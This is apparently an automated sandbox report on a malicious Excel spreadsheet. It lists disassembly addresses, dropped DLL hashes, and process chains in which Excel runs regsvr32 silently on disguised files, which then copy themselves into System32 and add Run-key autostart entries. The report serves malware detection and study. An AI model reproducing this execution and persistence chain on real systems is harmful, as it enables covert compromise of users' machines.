Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000B888 8_2_000000018000B888
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180011C90 8_2_0000000180011C90
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180021894 8_2_0000000180021894
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180021094 8_2_0000000180021094
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180026098 8_2_0000000180026098
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180005498 8_2_0000000180005498
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180017CB0 8_2_0000000180017CB0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180025CB8 8_2_0000000180025CB8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000CCB8 8_2_000000018000CCB8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800094BC 8_2_00000001800094BC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800180C8 8_2_00000001800180C8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001B4CC 8_2_000000018001B4CC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800278D8 8_2_00000001800278D8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180003CD8 8_2_0000000180003CD8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001E8E4 8_2_000000018001E8E4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800258E8 8_2_00000001800258E8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800138F0 8_2_00000001800138F0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180002504 8_2_0000000180002504
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001C108 8_2_000000018001C108
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000E50C 8_2_000000018000E50C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180014514 8_2_0000000180014514
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180026518 8_2_0000000180026518
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180015120 8_2_0000000180015120
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180015524 8_2_0000000180015524
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180007130 8_2_0000000180007130
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180008D40 8_2_0000000180008D40
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018002C144 8_2_000000018002C144
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000795C 8_2_000000018000795C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180001560 8_2_0000000180001560
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001C57C 8_2_000000018001C57C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000E97C 8_2_000000018000E97C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180003990 8_2_0000000180003990
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800099A0 8_2_00000001800099A0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800299A4 8_2_00000001800299A4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000B9B4 8_2_000000018000B9B4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180013DBC 8_2_0000000180013DBC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001FDC0 8_2_000000018001FDC0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800131C8 8_2_00000001800131C8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000D1CC 8_2_000000018000D1CC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800029CC 8_2_00000001800029CC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000B5CC 8_2_000000018000B5CC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800245D0 8_2_00000001800245D0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180014DD0 8_2_0000000180014DD0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800191E0 8_2_00000001800191E0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000FDE4 8_2_000000018000FDE4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001A9F0 8_2_000000018001A9F0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800055F4 8_2_00000001800055F4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180019E08 8_2_0000000180019E08
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000320C 8_2_000000018000320C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180011A19 8_2_0000000180011A19
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001F624 8_2_000000018001F624
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180003E2C 8_2_0000000180003E2C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180013634 8_2_0000000180013634
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001BA34 8_2_000000018001BA34
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018002BA3C 8_2_000000018002BA3C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180015240 8_2_0000000180015240
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180017A40 8_2_0000000180017A40
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180007658 8_2_0000000180007658
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000C65C 8_2_000000018000C65C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000FA60 8_2_000000018000FA60
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180025668 8_2_0000000180025668
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180006668 8_2_0000000180006668
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180008E68 8_2_0000000180008E68
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001B670 8_2_000000018001B670
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001BE70 8_2_000000018001BE70
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000A678 8_2_000000018000A678
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001A27C 8_2_000000018001A27C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180025280 8_2_0000000180025280
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180005684 8_2_0000000180005684
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000CE88 8_2_000000018000CE88
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180021E8C 8_2_0000000180021E8C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018002228C 8_2_000000018002228C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001428C 8_2_000000018001428C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180018698 8_2_0000000180018698
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180023E9C 8_2_0000000180023E9C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800016A0 8_2_00000001800016A0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800072A4 8_2_00000001800072A4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000D6A4 8_2_000000018000D6A4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018002B6AC 8_2_000000018002B6AC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800026B0 8_2_00000001800026B0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000CAB4 8_2_000000018000CAB4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000BAD0 8_2_000000018000BAD0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001EEE0 8_2_000000018001EEE0
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180025B0C 8_2_0000000180025B0C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180021B10 8_2_0000000180021B10
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180003310 8_2_0000000180003310
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000E310 8_2_000000018000E310
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180027F1C 8_2_0000000180027F1C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001FF28 8_2_000000018001FF28
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180011F30 8_2_0000000180011F30
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180010330 8_2_0000000180010330
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000C334 8_2_000000018000C334
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180015344 8_2_0000000180015344
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180003F54 8_2_0000000180003F54
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180006B54 8_2_0000000180006B54
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180029F58 8_2_0000000180029F58
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001A764 8_2_000000018001A764
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180013B6C 8_2_0000000180013B6C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001337C 8_2_000000018001337C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180009B84 8_2_0000000180009B84
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180024788 8_2_0000000180024788
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001F388 8_2_000000018001F388
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180019B88 8_2_0000000180019B88
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000C788 8_2_000000018000C788
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001238C 8_2_000000018001238C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180023B90 8_2_0000000180023B90
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018001BB98 8_2_000000018001BB98
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018002B39C 8_2_000000018002B39C
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000B3A4 8_2_000000018000B3A4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180010BAE 8_2_0000000180010BAE
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800293B4 8_2_00000001800293B4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800167C4 8_2_00000001800167C4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000AFD4 8_2_000000018000AFD4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000BBD4 8_2_000000018000BBD4
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800137DC 8_2_00000001800137DC
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000ABDC 8_2_000000018000ABDC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_001F0000 9_2_001F0000
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180002C5C 9_2_0000000180002C5C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180001864 9_2_0000000180001864
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008470 9_2_0000000180008470
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180004479 9_2_0000000180004479
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001E0D4 9_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800274F4 9_2_00000001800274F4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180028510 9_2_0000000180028510
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800201B4 9_2_00000001800201B4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008E68 9_2_0000000180008E68
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180005684 9_2_0000000180005684
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180004EB2 9_2_0000000180004EB2
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002A6F8 9_2_000000018002A6F8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180019F38 9_2_0000000180019F38
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000EB3C 9_2_000000018000EB3C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180010B68 9_2_0000000180010B68
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001F388 9_2_000000018001F388
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000FBB4 9_2_000000018000FBB4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000ABDC 9_2_000000018000ABDC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180001FE8 9_2_0000000180001FE8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800197F8 9_2_00000001800197F8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012BFC 9_2_0000000180012BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001EBFC 9_2_000000018001EBFC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008BFC 9_2_0000000180008BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180003800 9_2_0000000180003800
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180007014 9_2_0000000180007014
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015020 9_2_0000000180015020
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002A43C 9_2_000000018002A43C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000E850 9_2_000000018000E850
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180013468 9_2_0000000180013468
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001A470 9_2_000000018001A470
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180016C70 9_2_0000000180016C70
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180014C80 9_2_0000000180014C80
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000B888 9_2_000000018000B888
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll C987AD0CC79B598BDEE9EC7DA96B07E82A04CADD73CB3CAF85B799731DEEF9A1
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll B2AA99DEF35F913B42B882122C8DD5F72CEEAB82F6747F1B659C8632CD6EB902
Source: RechX2022.11.11_1045X.xls Virustotal: Detection: 61%
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HXVNCiWla\DkEI.dll"
Source: unknown Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll
Source: unknown Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\HXVNCiWla\DkEI.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HXVNCiWla\DkEI.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6029.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@18/17@4/58
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F38E8 CreateWindowExW,RegisterTouchWindow,MessageBoxW,CoCreateInstance,ShowWindow,UpdateWindow, 5_2_000007FEF90F38E8
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: RechX2022.11.11_1045X.xls OLE indicator, Workbook stream: true
Source: RechX2022.11.11_1045X.xls.0.dr OLE indicator, Workbook stream: true
Source: BD680000.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800274F4 CloseHandle,Process32NextW,Process32FirstW,CreateToolhelp32Snapshot, 5_2_00000001800274F4
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: RechX2022.11.11_1045X.xls Initial sample: OLE indicators vbamacros = False
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180005098 push ebp; ret 5_2_0000000180005099
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800118AD push esp; retn 0000h 5_2_00000001800118B5
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800170C8 push eax; retf 5_2_00000001800170C9
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800170DD push ecx; iretd 5_2_00000001800170E2
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000512B push ebp; retf 5_2_000000018000512F
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180004938 push eax; ret 5_2_000000018000493B
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800171F0 push eax; retf 5_2_00000001800171F1
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180010F42 push 8B48E1F7h; retf 5_2_0000000180010F51
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800117D6 pushad ; ret 5_2_00000001800117D8
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180005098 push ebp; ret 8_2_0000000180005099
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800118AD push esp; retn 0000h 8_2_00000001800118B5
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800170C8 push eax; retf 8_2_00000001800170C9
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800170DD push ecx; iretd 8_2_00000001800170E2
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_000000018000512B push ebp; retf 8_2_000000018000512F
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180004938 push eax; ret 8_2_000000018000493B
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800171F0 push eax; retf 8_2_00000001800171F1
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_0000000180010F42 push 8B48E1F7h; retf 8_2_0000000180010F51
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00000001800117D6 pushad ; ret 8_2_00000001800117D8
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_0000000180005098 push ebp; ret 10_2_0000000180005099
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_00000001800118AD push esp; retn 0000h 10_2_00000001800118B5
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_00000001800170C8 push eax; retf 10_2_00000001800170C9
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_00000001800170DD push ecx; iretd 10_2_00000001800170E2
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_000000018000512B push ebp; retf 10_2_000000018000512F
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_0000000180004938 push eax; ret 10_2_000000018000493B
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_00000001800171F0 push eax; retf 10_2_00000001800171F1
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_0000000180010F42 push 8B48E1F7h; retf 10_2_0000000180010F51
Source: C:\Windows\System32\regsvr32.exe Code function: 10_2_00000001800117D6 pushad ; ret 10_2_00000001800117D8
PE file contains sections with non-standard names
Source: EvvmhfKiKFhKrSuHfBq[1].dll.0.dr Static PE information: section name: text
Source: o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll.0.dr Static PE information: section name: text
Source: 2yXcjy57oZTTUNweDidCGUY[1].dll.0.dr Static PE information: section name: text
Source: elv2.ooocccxxx.0.dr Static PE information: section name: text
Source: elv3.ooocccxxx.0.dr Static PE information: section name: text
Source: elv4.ooocccxxx.0.dr Static PE information: section name: text
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF9102AF0 DecodePointer,_errno,_invalid_parameter_noinfo,LoadLibraryW,GetProcAddress,_errno,GetLastError,_invalid_parameter_noinfo,GetLastError,EncodePointer,FreeLibrary,_errno,_errno, 5_2_000007FEF9102AF0
PE file contains an invalid checksum
Source: elv2.ooocccxxx.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x7446f
Source: 2yXcjy57oZTTUNweDidCGUY[1].dll.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x735fa
Source: elv4.ooocccxxx.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x735fa
Source: EvvmhfKiKFhKrSuHfBq[1].dll.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x7446f
Source: elv3.ooocccxxx.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x72327
Source: o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll.0.dr Static PE information: real checksum: 0x6e4a7 should be: 0x72327
Registers a DLL
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll"
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv3.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv4.ooocccxxx Jump to dropped file
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv4.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll (copy) Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Users\user\AppData\Local\Temp\AAA2.tmp (copy) Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\HXVNCiWla\DkEI.dll (copy) Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv3.ooocccxxx Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll (copy) Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Users\user\AppData\Local\Temp\D116.tmp (copy) Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll (copy) Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\HXVNCiWla\DkEI.dll (copy) Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll (copy) Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv4.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv3.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to dropped file

Boot Survival
barindex
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TzrBJWzmduQmnx.dll Jump to behavior
Creates multiple autostart registry keys
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DkEI.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TzrBJWzmduQmnx.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run rgLdvmpYAAMw.dll Jump to behavior
Drops PE files to the user root directory
